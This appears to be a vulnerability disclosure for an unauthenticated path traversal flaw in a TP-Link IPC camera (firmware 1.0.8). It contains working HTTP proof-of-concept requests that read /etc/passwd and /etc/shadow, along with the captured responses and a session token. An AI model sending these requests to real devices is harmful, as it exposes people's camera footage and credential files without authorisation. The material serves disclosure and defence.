

Vulnerability Title: Path traversal vulnerability in TP-Link IPC

Vulnerability Description: A path traversal vulnerability and improper permission configuration was found in TP-Link IPC, If exploited, this vulnerability allows unauthenticated attacker access all files(including pictures and videos captured by the camera) in the camera, because the web user of camera is in root group.

Required Affected Versions: 1.0.8 Build 210105 Rel.65035n

Tested Platform: TL-IPC42C-4 5.0

Here is the examples:

(Note: There is no cookie or token required in this attack, any attacker could access those files via root permission)

Access the etc/passwd file

Request			Response			
Raw	Headers	Hex	Raw	Headers	Hex	Render
<pre>1 GET /web-static/lib/../../../../../../../../etc/passwd HTTP/1.1 2 Host: 192.168.2.229 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 4 Accept: */* 5 Referer: http://192.168.2.229/ 6 Accept-Encoding: gzip, deflate 7 Accept-Language: en-US,en;q=0.9 8 Connection: close 9 10</pre>			<pre>1 HTTP/1.1 200 OK 2 Connection: close 3 ETag: "a0-10a-5ff43757" 4 Last-Modified: Tue, 05 Jan 2021 09:54:31 GMT 5 Cache-Control: no-cache 6 Content-Type: text/html; charset=UTF-8 7 Content-Length: 266 8 9 root:x:0:0:root:/root:/bin/ash 10 daemon:*:1:1:daemon:/var:/bin/false 11 ftp:*:55:55:ftp:/home/ftp:/bin/false 12 network:*:101:101:network:/var:/bin/false 13 nobody:*:65534:65534:nobody:/var:/bin/false 14 admin:*:500:500:admin:/var:/bin/false 15 guest:*:500:500:guest:/var:/bin/false 16</pre>			

Access the etc/shadow file

Request			Response			
Raw	Headers	Hex	Raw	Headers	Hex	Render
<pre>1 GET /web-static/lib/../../../../../../../../etc/shadow HTTP/1.1 2 Host: 192.168.2.229 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 4 Accept: */* 5 Referer: http://192.168.2.229/ 6 Accept-Encoding: gzip, deflate 7 Accept-Language: en-US,en;q=0.9 8 Connection: close 9 10</pre>			<pre>1 HTTP/1.1 200 OK 2 Connection: close 3 ETag: "8a-74-5ff43757" 4 Last-Modified: Tue, 05 Jan 2021 09:54:31 GMT 5 Cache-Control: no-cache 6 Content-Type: text/html; charset=UTF-8 7 Content-Length: 116 8 9 root:x:0:0:99999:7::: 10 daemon:*:0:0:99999:7::: 11 ftp:*:0:0:99999:7::: 12 network:*:0:0:99999:7::: 13 nobody:*:0:0:99999:7::: 14</pre>			

The web user belongs to root group. Thus we could access all files in camera.

```
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-cache
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=UTF-8
Content-Length: 78

{
  "user_group": "root",
  "stok": "jZj2gjYoYZcsYHqqPkc (kKOG4!9c2!01",
  "error_code": 0
}
```